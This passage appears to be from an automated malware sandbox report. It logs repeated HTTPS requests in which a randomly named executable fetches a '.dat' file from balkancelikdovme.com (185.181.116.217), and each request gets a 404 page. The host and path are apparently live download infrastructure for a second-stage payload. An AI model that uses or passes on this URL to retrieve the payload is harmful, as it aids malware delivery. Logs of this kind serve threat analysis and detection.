2025-01-10 21:38:57 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.4	50117	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:57 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:58 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:57 GMT vary: User-Agent
2025-01-10 21:38:58 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.4	50118	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:58 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:58 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:58 GMT vary: User-Agent
2025-01-10 21:38:58 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.4	50119	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:59 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:59 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:59 GMT vary: User-Agent
2025-01-10 21:38:59 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.4	50120	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:39:00 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:39:00 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:39:00 GMT vary: User-Agent
2025-01-10 21:39:00 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.4	50121	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:39:01 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:39:01 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:39:01 GMT vary: User-Agent
2025-01-10 21:39:01 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.4	50122	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:39:02 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:39:02 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:39:02 GMT vary: User-Agent
2025-01-10 21:39:02 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.4	50123	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:39:03 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:39:03 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:39:03 GMT vary: User-Agent
2025-01-10 21:39:03 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.4	50124	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:39:04 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:39:04 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:39:04 GMT vary: User-Agent
2025-01-10 21:39:04 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.4	50125	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:39:04 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:39:05 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:39:05 GMT vary: User-Agent
2025-01-10 21:39:05 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.4	50126	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:39:05 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:39:06 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:39:05 GMT vary: User-Agent
2025-01-10 21:39:06 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.4	50127	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:39:06 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:39:06 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:39:06 GMT vary: User-Agent
2025-01-10 21:39:06 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.4	50128	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:39:07 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:39:07 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:39:07 GMT vary: User-Agent
2025-01-10 21:39:07 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.4	50129	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:39:08 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:39:08 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:39:08 GMT vary: User-Agent
2025-01-10 21:39:08 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.4	50130	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:39:09 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:39:09 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:39:09 GMT vary: User-Agent
